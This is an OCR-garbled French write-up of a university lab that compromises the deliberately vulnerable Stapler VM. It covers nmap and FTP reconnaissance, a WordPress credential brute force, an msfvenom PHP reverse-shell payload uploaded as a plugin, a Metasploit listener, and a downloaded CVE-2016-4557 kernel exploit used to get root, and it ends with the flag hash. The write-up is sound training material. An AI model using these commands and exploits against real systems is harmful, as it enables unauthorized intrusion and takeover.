[PENTEST] Exploitation de la Machine : Stapler

Contexte : Lab de cybersécurité réalisé en Master 2.

Environnement : Machine cible Stapler sur hyperviseur UTM (Macbook Air M2 -
Architecture ARM).

Objectif : Obtenir un accés Root et capturer le flag flag.txt.

1 - Phase de Reconnaissance

Scan Nmap — Identification des services critiques dont les ports :
FTP (21), SSH (22), HTTP (80), NetBIOS (139) et MySQL (3306).

Nmap scan report for red.lan (192.168.1.162)
Host is up (0.0033s latency).

Not shown: 992 filtered tcp ports (no-response)
PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp open  ftp

22/tcp open  ssh

53/tcp open domain

80/tcp open http

139/tcp open netbios-ssn

666/tcp open  doom

3306/tcp open  mysql

MAC Address: D6:5E:50:E4:1D:E2 (Unknown)

Le port FTP (21) est ouvert et I'on peut se connecter en anonyme :

172.20.10.8
Connected to 172.20.10.8.
220-
Wk tstoneee—t0p———————————————————————————————————————— —— — — — — — — — — — — — —
220 Harry, make sure to update the banner when you get a chance to show who has access here |

Name (172.20.10.8:jordan): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

550 Permission denied.

200 PORT command successful. Consider using PASV.

150 Here comes the directory listing.

-rw-r--r-- 10 ] 107 Jun 03 2016 note
226 Directory send OK. I

ftp> get note

local: note remote: note

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for note (107 bytes).
100% | *kkskkkhkdkdkdkkhdhdhkhhkhkhhkhr ok hdhdhxhhhkhkhrhrkhdkdhkhhhkhkhkkrxrrrrrkhrhrrrxrs | 107 9.13 KiB/s 00:00 ETA
226 Transfer complete.

107 bytes received in 00:00 (7.23 KiB/s)

ftp> i




Grace a la commande “get”, on a pu récupérer un fichier nommé “note”.

~

note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Maintenant on va énumérer le port 80 de notre IP (site web) :
On utilise de dirb pour découvrir I'arborescence du site.

dirb http://192.168.1.162

- on apprend qu’il y a le fichier robots.txt disponible
- ldentification d'un fichier robots.txt révélant les répertoires /admin112233/ et
/blogblog/.
- Et méme d’autres comme un phpmyadmin pour les bases de données

Identification CMS : Le répertoire /blogblog/ héberge un site WordPress

é  hitps:/[172.20.10.8:12380/phpmyadmin/changelog.php

php
Bienvenue dans phpMyAdmin

Langue - Language

Frangais - French

Connexion

Utilisateur : ‘7

Mot de passe :

hitps://172.20.10.8:12380/phpmyadmin/url.php?url=https%3A%2F %2Fwww.phpmyadmin.net¥%2F

« C @ O & 172.20.10.8

Kali Linux 78 KaliTools « KaliDocs X Kali Forums ¢\ Kali NetHunter

User-agent: *
Disallow: /adminl112233/
Disallow: /blogblog/



http://192.168.1.162

X @ O & 172.20.10.8 S @ O @

Kali Linux #& Kali Tools < KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Reverse Shell Online ¥ CyberChef Temp Mail

© 172.20.10.8:12380

This could of been a BeEF-XSS hook ;)

CATEGORIES

WELCOME TO INITECH INTERNAL DEPLOYMENT BLOG.
Hello World! Uncategorized

...That's how you start everything off!

META
Continue reading —» Register R
BY IN JOHN SMITH LEAVE A COMMENT Login

Entries RSS

Comments RSS

WordPress.org

| THEME: BHOST BY .

En fouillant dans la page /blogblog:

2 - Exploitation (Accés Initial)

On remarque une page wp-login.php un formulaire pour se connecter en login, on
remarque aussi que le site est fait avec WordPress.

Avec un scan approfondi et bruteforce, wpscan on apprendra que I'on peut se connecter en
tant que john:incorrect.



X @ O & 172201055 S ®© O @

Kali Linux # Kali Tools < KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec @ Reverse Shell Online #* CyberChef Temp Mail

W

Username
john

"

Une fois cela fait on accédera a I'interface Wordpress, on va essayer d’ajouter un reverse
shell en tant que plugin pour accéder a la machine a distance.

@ A Intech S5 P 0 4 New Howdy, John Smith
Hello, Dolly Hely

@& Dashboard
WordPress 4.5.2 is available! Please update now.

A Posts
n.} Media Add PIUginS Browse

1M Pages

® Comments

X Appearance

Browse... | shell_stapler.php | Install Njgv ‘
Installed Plugins —

Add New
Editor

e Users Thank you for creating with WordPress. Get Version 4.5.2

& Tools

Settings

7\ AV.EVIDEO
() SEARCH

o Collapse menu

172.20.10.5

Création du reverse shell avec msfvenom.

~

php/meterpreter/reverse_tcp LHOST=192.168.1.88 LPORT=4444 raw > shell_stapler2.php
[-] No platform was selected, choosing Msf::Module::Platform:: PHP from the payload

[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1113 bytes




Une fois le fichier uploadé, il nous propose de I'envoyer avec ftp, heureusement pour nous
le port ftp est ouvert, et on peut se connecter en tant que anonymous:anonymous.

@ A nnitech &5 P + New Howdy, John Smith
You're lookin'’ swell, Dolly

@ Dashboard
WordPress 4.5.2 is available! Please update now.

)' Posts
Qy Media Installing Plugin from uploaded file: shell_stapler.php

I Pages Connection Information

® Comments To perform the requested action, WordPress needs to access your web server. Please enter your FTP credentials to proceed. If you do not remember your credentials, you should
contact your web host.

M Appearance

Hostname
localhost

~ FTP Username

Installed Plugins

anonymous

Add New
FTP Password

Editor ecoccco0e -

‘ Users This password will not be stored on the server.

’ Tools Connection Type
Settings ®) FTP () FTPS (SSL)
Proceed

)\ AV.EVIDEO
SEARCH

° Collapse menu

th WordPress. Get Version 4.5.2
Read fonts.gstatic.com

Index of /blogblog/wp-content/uploads

Name Last modified thn Description

¥ Parent Directory -
[?) shell_stapler.php 2025-11-14 09:51 1.1K
shell stapler.php .png 2025-11-14 09:45 1.1K
[?] shell stapler2.php  2025-11-17 21:25 1.1K

Notre fichier shell_stapler2.php est bien présent.
Ensuite on configure un listenner avec metasploit sur le port 4444 de notre localhost.



msf exploit( ) > show options

Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

xploit target:
Id Name

Wildcard Target

iew the full module info with the , or command.

sf exploit( ) > set lhost 192.168.1.88
host = 192.168.1.88

On clique sur le fichier contenant notre reverse shell. Et voila le boulot.

msf exploit( ) > run
Started reverse TCP handler on 192.168.1.88:4444
Sending stage (41224 bytes) to 192.168.1.162
Meterpreter session 5 opened (192.168.1.88:4444 — 192.168.1.162:52682) at 2025-11-17 22:36:04 +0100

meterpreter > ]

3 - Elévation de Privileges (Post-Exploitation)

On change notre meterpreter en bash.

python -c 'import pty; pty.spawn("/bin/bash")’
ww-data@red:/var/www/https/blogblog/wp-content/uploads$ cd /
cd /

On récupére un script pouvant nous dire qu’elle faille linux on peut exploiter pour passer
root.

ww -data@red: /tmp$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -0
les.sh

<uggester/master/linux-exploit-suggester.sh -0 les.sh

--2025-11-17 21:37:49-- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.

HTTP request sent, awaiting response... 200 OK

Length: 90858 (89K) [text/plain]
Saving to: 'les.sh'

les.sh 100%[ =————————] 88.73K --.-KB/s in 0.006s

2025-11-17 21:37:50 (13.8 MB/s) - 'les.sh' saved [90858/90858]

Celui-ci parait intéressant...



[+] [CVE-2016-4557] double-fdput() I

Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

Exposure: highly probable

Tags: [ ubuntu=16.04{kernel:4.4.0-21-generic} ]

Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set & kernel.unprivileged_bpf_disabled # 1

On le télécharge.

ww-datadred: /tmp$ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
<tabase/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

--2025-11-17 21:44:48-- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9

Connecting to gitlab.com (gitlab.com)|172.65.251.78]:443 ... connected.

HTTP request sent, awaiting response... 200 OK

Length: 7025 (6.9K) [application/octet-stream]

Saving to: '39772.zip'

39772.zip 100% [ ———————— ] 6.86K --.-KB/s in 0.002s

2025-11-17 21:44:49 (3.59 MB/s) - '39772.zip' saved [7025/7025]

Puis le dézip.

ww-data@red: /tmp$ unzip 39772.zip

unzip 39772.zip

Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __ MACOSX/
creating: __ MACOSX/39772/
inflating: __MACO0SX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: _ MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: _ MACOSX/39772/._exploit.tar

On le compile.

-datadred:/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,

A

doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""

A

On I'exécute et on passe root.



ww-dataqred: /tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <60 seconds.
suid file detected, launching rootshell...

we have root privs now...

root@red:/tmp/39772/ebpf_mapfd_doubleput_exploit# cat flag.txt

On récupére notre flag et voila !

root@red:/root# cat flag.txt
cat flag.txt
<(Congratulations)>

=0 0=
__.o° o "-.
.00 ""-.0 0)_,._
(o 0 o0)—.-""0 o"-."
'————' ( o0 O

b6b545dc11b7a270f4bad23432190c75162c4a2b
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